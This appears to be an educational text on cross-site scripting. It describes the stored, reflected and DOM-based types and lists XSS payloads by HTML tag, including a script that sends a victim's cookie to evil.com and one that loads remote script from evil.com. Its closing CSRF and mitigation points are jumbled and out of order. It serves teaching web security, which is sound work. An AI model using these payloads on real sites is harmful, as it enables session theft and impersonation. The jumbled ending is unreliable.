Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
XSS vulnerabilities are perceived as less dangerous than for example SQL
Injection vulnerabilities. Consequences of the ability to execute JavaScript on a
web page may not seem dire at first. Most web browsers run JavaScript in a
very tightly controlled environment. JavaScript has limited access to the user’s
operating system and the user’s files. However, JavaScript can still be
dangerous if misused as part of malicious content:
Malicious JavaScript has access to all the objects that the rest of the web
page has access to. This includes access to the user’s cookies. Cookies
are often used to store session tokens. If an attacker can obtain a user’s
session cookie, they can impersonate that user, perform actions on
behalf of the user, and gain access to the user’s sensitive data.
JavaScript can read the browser DOM and make arbitrary modifications
to it. Luckily, this is only possible within the page where JavaScript is
running.
JavaScript can use the XMLHttpRequest object to send HTTP requests
with arbitrary content to arbitrary destinations.
JavaScript in modern browsers can use HTML5 APIs. For example, it can
gain access to the user’s geolocation, webcam, microphone, and even
specific files from the user’s file system. Most of these APIs require user
opt-in, but the attacker can use social engineering to go around that
limitation.
The above, in combination with social engineering, allow criminals to pull off
advanced attacks including cookie theft, planting trojans, keylogging, phishing,
and identity theft. XSS vulnerabilities provide the perfect ground to escalate
attacks to more serious ones. Cross-site Scripting can also be used in
conjunction with other types of attacks, for example, Cross-Site Request
Forgery (CSRF).
1. Stored XSS: Malicious scripts are permanently stored on the target server,
waiting to be served to users who access a particular page.
2. Reflected XSS: The injected script is immediately reflected off a web server
and executed in the user's browser. This type often relies on social
engineering to trick users into clicking malicious links.
3. DOM-based XSS: The attack occurs in the Document Object Model (DOM) of
a web page, manipulating the structure of the page dynamically.
Stored XSS
Stored XSS is when the malicious script is injected into a vulnerable app
where it is persisted or stored on the vulnerable page of the application.
When a victim loads the affected page in the application the malicious script
will execute the context of a user’s session.
Reflected XSS
Reflected XSS attacks occur when a victim is tricked by the attacker into
visiting a malicious link within the vulnerable application. The malicious link
may be introduced to the victim via social engineering, phishing, or watering
hole style attacks. In this scenario these non-persistent scripts are injected
into a user’s browser session and executed as a direct reflection within HTTP
responses returned by the server.
DOM based XSS also involves a malicious link and may be introduced to the
victim in a similar attack vector as reflected XSS, although unlike what we’ve
seen so far DOM-based XSS attacks do not require interaction with a server.
The attacker’s code is stored and executed in the browser. Thus, securing our
server-side code will offer no protection against DOM-based attacks. The
attack’s independence from the server also makes detection more complex.
For step one to be possible, the vulnerable website needs to directly include
user input in its pages. An attacker can then insert a malicious string that will
be used within the web page and treated as source code by the victim’s
browser. There are also variants of XSS attacks where the attacker lures the
user to visit a URL using social engineering and the payload is part of the link
that the user clicks.
print "<html>"
print database.latestComment
print "</html>"
The above script simply takes the latest comment from a database and
includes it in an HTML page. It assumes that the comment printed out consists
of only text and contains no HTML tags or other code. It is vulnerable to XSS,
because an attacker could submit a comment that contains a malicious
payload, for example:
<script>doSomethingEvil();</script>
The web server provides the following HTML code to users that visit this web
page:
<html>
<script>doSomethingEvil();</script>
</html>
When the page loads in the victim’s browser, the attacker’s malicious script
executes. Most often, the victim does not realize it and is unable to prevent
such an attack.
Criminals often use XSS to steal cookies. This allows them to impersonate the
victim. The attacker can send the cookie to their own server in many ways.
One of them is to execute the following client-side script in the victim’s
browser:
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
<script> tag
The <script> tag is the most straightforward XSS payload. A script tag can
reference external JavaScript code or you can embed the code within
the script tag itself.
<script src=http://evil.com/xss.js></script>
JavaScript events
JavaScript event attributes such as onload and onerror can be used in many
different tags. This is a very popular XSS attack vector.
<body onload=alert("XSS")>
<body> tag
An XSS payload can be delivered inside the <body> by using event attributes
(see above) or other more obscure attributes such as
the background attribute.
<body background="javascript:alert("XSS")">
<img> tag
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<iframe> tag
The <iframe> tag lets you embed another HTML page in the current page. An
IFrame may contain JavaScript but JavaScript in the IFrame does not have
access to the DOM of the parent page due to the Content Security Policy (CSP)
of the browser. However, IFrames are still very effective for pulling off
phishing attacks.
<input> tag
In some browsers, if the type attribute of the <input> tag is set to image, it can
be manipulated to embed a script.
<link> tag
The <link> tag, which is often used to link to external style sheets, may contain
a script.
<table> tag
The background attribute of the <table> and <td> tags can be exploited to
refer to a script instead of an image.
<table background="javascript:alert('XSS')">
<div> tag
The <div> tag, similar to the <table> and <td> tags, can also specify a
background and therefore embed a script.
<object> tag
The <object> tag can be used to include a script from an external site.
What is Cross-Site Request Forgery (CSRF)? How to Prevent and Fix It.
3. Data Manipulation: Malicious requests can alter or delete data within the
target application, leading to data loss or corruption.
2. SameSite Attribute: Set the SameSite attribute for cookies to control when
cookies are sent with cross-origin requests. Setting it to "Strict" ensures that
cookies are only sent in a first-party context, significantly reducing the risk of
CSRF.
3. Custom Headers: Include custom headers in requests that are essential for
the application to process them. Verify the presence of these headers on the
server to confirm the legitimacy of the request.
3. Educate Users: Educate users about the potential risks of CSRF attacks and
advise them to log out of sensitive applications when not in use. Additionally,
encourage users to be cautious when clicking on links, especially from
untrusted sources.
1. Data Theft: Attackers can steal sensitive user information, such as login
credentials, personal details, and financial data.
1. Input Validation: Validate and sanitize user input on both client and server
sides. Ensure that data is properly validated and filtered to prevent the
injection of malicious scripts.
4. HTTP Only Flag for Cookies: Set the HTTP Only flag for cookies to prevent
client-side scripts from accessing sensitive cookie information, reducing the
risk of session hijacking.
2. Patch and Update: Immediately patch the vulnerable code using proper
input validation, output encoding, and escaping techniques. Ensure that all
software and libraries are up to date to benefit from the latest security
patches.